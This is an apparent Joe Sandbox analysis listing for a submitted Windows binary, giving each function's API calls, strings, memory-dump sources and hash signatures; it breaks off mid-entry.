Instruction Fuzzy Hash: 05B1AE70A1010AEBCB14DF54C895EBABBB9FF59300F148059FA09DB291DB71D9D0CBA0

Function 0025AFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 0020FC86: _wcscpy.LIBCMT ref: 0020FCA9

Part of subcall function 001F9837: __itow.LIBCMT ref: 001F9862
Part of subcall function 001F9837: __swprintf.LIBCMT ref: 001F98AC

__wcsnicmp.LIBCMT ref: 0025B02D
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0025B0F6

Strings

LPT, xrefs: 0025B027

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 4e992e9329bbec53c93a86ba4b33178d0e5caccca00727ac536771642af70e55
Instruction ID: a8fec3ab1b2f3a56aad1960d6a0df8af5ee7ec4aa14300e9f77edeb1191300e2
Opcode Fuzzy Hash: 4e992e9329bbec53c93a86ba4b33178d0e5caccca00727ac536771642af70e55
Instruction Fuzzy Hash: 6F61B371A20219AFCB15DF94C895EBEB7B4EF18310F108059F91AAB391D770AE94CB54

Function 00202957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00202968
GlobalMemoryStatusEx.KERNEL32(?), ref: 00202981

Strings

@, xrefs: 00202975

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: b4405b5f57d0652b90fd7469f47d7b7d2bed9cad06a17456e7f796b313e66220
Instruction ID: c64ad52ec594a6528173292c2f617d796eaa185b25da95b126e5df14857faf3e
Opcode Fuzzy Hash: b4405b5f57d0652b90fd7469f47d7b7d2bed9cad06a17456e7f796b313e66220
Instruction Fuzzy Hash: 895149714187489BE720EF10D886BAFBBE8FF95344F42485DF2D8410A2DF318569CB66

Function 00259734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 001F4F0B: __fread_nolock.LIBCMT ref: 001F4F29

_wcscmp.LIBCMT ref: 00259824
_wcscmp.LIBCMT ref: 00259837

Strings

FILE, xrefs: 00259770

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 824724d9f4644496ab4d40912df8291c1f2a696ed102fae993fd08ee51d0604d
Instruction ID: 2fd1e30c17f6b0a8d869ce12f7bf5edc9985911ac59e1d0c98517b99b8c6d539
Opcode Fuzzy Hash: 824724d9f4644496ab4d40912df8291c1f2a696ed102fae993fd08ee51d0604d
Instruction Fuzzy Hash: 8041C571A1021ABBDF209EA4CC49FEFB7BDDF86710F000469FA09B7181DB7199588B65

Function 00230574 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0023057F

Strings

Dd+, xrefs: 001FA317
Dd+, xrefs: 001FA151

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ClearVariant
String ID: Dd+$Dd+
API String ID: 1473721057-4256339931
Opcode ID: 9661b0737446036ae6af4fe3fdeabb77fd285dcba73b071201d5004c4cc6b7d9
Instruction ID: 1c2ad301445e2eb239258c4ced9de78f6765170c6725ceed7a10f689c3ff31ab
Opcode Fuzzy Hash: 9661b0737446036ae6af4fe3fdeabb77fd285dcba73b071201d5004c4cc6b7d9
Instruction Fuzzy Hash: 685114B86183058FD754CF18C494A2ABBF1BF98340F94485CEA898B321D339E881CF82

Function 0026258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0026259E
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 002625D4

Strings

|, xrefs: 002625A5

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 8655fe513100087830a172a360e0af7f17993f0f1f67b64b88d001c595060d5a
Instruction ID: f21f02392803881c5b7ca7468b9e13582b99622a2ea205ca6e2c1d3eace3db17
Opcode Fuzzy Hash: 8655fe513100087830a172a360e0af7f17993f0f1f67b64b88d001c595060d5a
Instruction Fuzzy Hash: 8B311771814119EBCF05EFA0CC89EEEBFB8FF18310F100169FA15A6162EB315966DB60

Function 00277A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00277B61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00277B76

Strings

', xrefs: 00277ACA

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 68d26fb80f310fd3bf103a8f9012d10d18c2d774089091243cbf1cf3046e5c6d
Instruction ID: beefdc9ee6e704b48af316f3378e728c9d0ccebdee049ff03ccc10bdd73e8851
Opcode Fuzzy Hash: 68d26fb80f310fd3bf103a8f9012d10d18c2d774089091243cbf1cf3046e5c6d
Instruction Fuzzy Hash: 81411974A1530A9FDB14CF65D981BEABBB9FF08304F10516AE908EB391D770A961CF90

Function 00276A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00276B17
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00276B53

Strings

static, xrefs: 00276AB3

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: ec4c1c16662e6d9b19c725fff8038f0ef7f2bb052f8b32038feac38f4ebf7256
Instruction ID: 4333375204324a2897eb86478deb54fd7880927fd25a1d1fb752be9782322437
Opcode Fuzzy Hash: ec4c1c16662e6d9b19c725fff8038f0ef7f2bb052f8b32038feac38f4ebf7256
Instruction Fuzzy Hash: 5B31B071210609AEDB109F64CC44BFB73A8FF49764F10D619F9A9D7190DB30AC91CB60

Function 002528A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00252911
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 0025294C

Strings

0, xrefs: 0025290A

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: e1ac3fe05a5e870f63faa01a897a62fb6664cba96f77acfbc950e502670639e9
Instruction ID: 02224e65154d78c03ee553a96fe28b099e82fcb6977d397ef40356870e1d5505
Opcode Fuzzy Hash: e1ac3fe05a5e870f63faa01a897a62fb6664cba96f77acfbc950e502670639e9
Instruction Fuzzy Hash: C331F771620306DBDB24CF88D885BEEBBF8EF06351F240019ED85A62E0D77099ACCB55

Function 002766D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00276761
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0027676C

Strings

Combobox, xrefs: 0027672E

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 7d2b315008273ecc40e5a3f279fce42061bf2ea3f79e632476504aeb589087a5
Instruction ID: 113d53d028018662da3b974692126732ce25255a3eeeec4e7a506cbf1a61e137
Opcode Fuzzy Hash: 7d2b315008273ecc40e5a3f279fce42061bf2ea3f79e632476504aeb589087a5
Instruction Fuzzy Hash: 2511B671320609AFEF158F54DC89EBB776AEB893A8F108125F91897290D671DC618BA0

Function 00276C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 001F1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 001F1D73
Part of subcall function 001F1D35: GetStockObject.GDI32(00000011), ref: 001F1D87
Part of subcall function 001F1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 001F1D91

GetWindowRect.USER32(00000000,?), ref: 00276C71
GetSysColor.USER32(00000012), ref: 00276C8B

Strings

static, xrefs: 00276C4E

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 75152d54d4df302dbe7b422823d3b9c0a65bb7f4ac52a96a7f61004c016b28d8
Instruction ID: 5dc78e8bdc5d6125227a11e96a40047aa58f7d3fe3d27589102ad7811a033467
Opcode Fuzzy Hash: 75152d54d4df302dbe7b422823d3b9c0a65bb7f4ac52a96a7f61004c016b28d8
Instruction Fuzzy Hash: F1212C7252460AAFDF05DFA8DD4AAFA7BB8FB08314F004629FD59D2250D735E860DB60

Function 00276920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 002769A2
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 002769B1

Strings

edit, xrefs: 00276986

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 48f95e16b7f7943344b1f67c276c33d51fb83b33683608b93d55abf695325702
Instruction ID: c6ba64029331a073a359914da2e0e7b1d36570a8108d547656bb8589f699a5ba
Opcode Fuzzy Hash: 48f95e16b7f7943344b1f67c276c33d51fb83b33683608b93d55abf695325702
Instruction Fuzzy Hash: 64118F71120509EBEB108E74DC49AEB3769EB05374F508724FAA9971E0C771DCA09B60

Function 002529AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00252A22
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00252A41

Strings

0, xrefs: 00252A18

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 9bafce92563358d891f608d1fc0a02164d5c0908af3374df6d3f929d19a5285f
Instruction ID: b9f6a1a1237a47be8484697ae51eda1dcff51484e5457c7d3105617ccd7de180
Opcode Fuzzy Hash: 9bafce92563358d891f608d1fc0a02164d5c0908af3374df6d3f929d19a5285f
Instruction Fuzzy Hash: 9E11D332A21125EBCF35DF58EC48BAA73ACAB46301F144121ED55EB2D0D770AD2EC799

Function 002621D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0026222C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00262255

Strings

<local>, xrefs: 0026221D

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 380721cb272c9fffefe3827f8c0aa0524e155f7f988bb84a803052f1c5f2f633
Instruction ID: 61fb24ccfa313d4c73b04cd9a175a31b8d2b63e17e64470d8a2361369342578e
Opcode Fuzzy Hash: 380721cb272c9fffefe3827f8c0aa0524e155f7f988bb84a803052f1c5f2f633
Instruction Fuzzy Hash: 56110670525A26FADB288F118CE9EB7FBACFF06351F10822AF91456000D2B059E8D6F0

Function 0020092D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,001F3C14,002B52F8,?,?,?), ref: 0020096E

Part of subcall function 001F7BCC: _memmove.LIBCMT ref: 001F7C06

_wcscat.LIBCMT ref: 00234CB7

Strings

S+, xrefs: 002009AE

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID: S+
API String ID: 257928180-3642450763
Opcode ID: 04df535a47d0d40d86a7314afd78f4cfa3be5dd3faf0857b98215bd2f040893c
Instruction ID: e3fbf1053aa837fc0dd96f5a1ee0e817d714984dd73d48e59a67d3953c2e8a63
Opcode Fuzzy Hash: 04df535a47d0d40d86a7314afd78f4cfa3be5dd3faf0857b98215bd2f040893c
Instruction Fuzzy Hash: 5111A53092571DAADB40FBA4D846FDD73E8AF18780F0044A6F648D72C2EAB097A44B10

Function 00248E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

Part of subcall function 0024AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0024AABC

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00248E73

Strings

ComboBox, xrefs: 00248E12
ListBox, xrefs: 00248E3D

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 57b4b7affa8c8d01afc402d02cbfd62886842e2ec90db8fb22e49e0778776b85
Instruction ID: 50773a5a852bc3d14a029bab326eb26cdce17c931818f401ca189ea34bc6c022
Opcode Fuzzy Hash: 57b4b7affa8c8d01afc402d02cbfd62886842e2ec90db8fb22e49e0778776b85
Instruction Fuzzy Hash: CA012471761229ABCB18EBA0CC468FE736DFF12320B400A19F935672E2DF315828DA50

Function 00248CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

Part of subcall function 0024AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0024AABC

SendMessageW.USER32(?,00000180,00000000,?), ref: 00248D6B

Strings

ComboBox, xrefs: 00248D0A
ListBox, xrefs: 00248D35

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 8350ac3381ee240a720e3e6db4d52186152ad8342017828fdb81675ec1c74aeb
Instruction ID: 37167ccf2614c68cd5a6991cf6388fc32e324002aa7216e5c76cc032de0a3263
Opcode Fuzzy Hash: 8350ac3381ee240a720e3e6db4d52186152ad8342017828fdb81675ec1c74aeb
Instruction Fuzzy Hash: 6A01D471A61509ABCB18EBF0C956AFE73ACAF26300F100419B905632D1DE545E18D671

Function 00248D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

Part of subcall function 0024AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0024AABC

SendMessageW.USER32(?,00000182,?,00000000), ref: 00248DEE

Strings

ComboBox, xrefs: 00248D8F
ListBox, xrefs: 00248DBA

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 991a9e19cd3e5bb667c3732e05b1b704865c5ac7da3c1cf3a130b554e741b393
Instruction ID: 9c790f999e6cd9b8fcae3a3a07e6a0a26b3a437b58313b1b8f7b0986a325a14b
Opcode Fuzzy Hash: 991a9e19cd3e5bb667c3732e05b1b704865c5ac7da3c1cf3a130b554e741b393
Instruction Fuzzy Hash: 8301A271A66109ABDB19EBB4CD46AFE77ACAF22300F100415B906632D2DE654E28E671

Function 0024C4EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0024C534

Part of subcall function 0024C816: _memmove.LIBCMT ref: 0024C860
Part of subcall function 0024C816: VariantInit.OLEAUT32(00000000), ref: 0024C882
Part of subcall function 0024C816: VariantCopy.OLEAUT32(00000000,?), ref: 0024C88C

VariantClear.OLEAUT32(?), ref: 0024C556

Strings

d}*, xrefs: 0024C517

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Variant$Init$ClearCopy_memmove
String ID: d}*
API String ID: 2932060187-4055200899
Opcode ID: aac7861b5206b1bac342524cb9ec8bbe503b9a3337aca2d58e5c4b7bb5123464
Instruction ID: 08d65eb6d4375ba4371cc5aaeb3c18da7a50df1385cd554ff339df8c8f3fd1e8
Opcode Fuzzy Hash: aac7861b5206b1bac342524cb9ec8bbe503b9a3337aca2d58e5c4b7bb5123464
Instruction Fuzzy Hash: D81112719007099FC720DF99D88499AF7F8FF18314B50852EE58AD7611E771AA44CF94

Function 00254F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00254F46
_wcscmp.LIBCMT ref: 00254F58

Strings

#32770, xrefs: 00254F52

Memory Dump Source

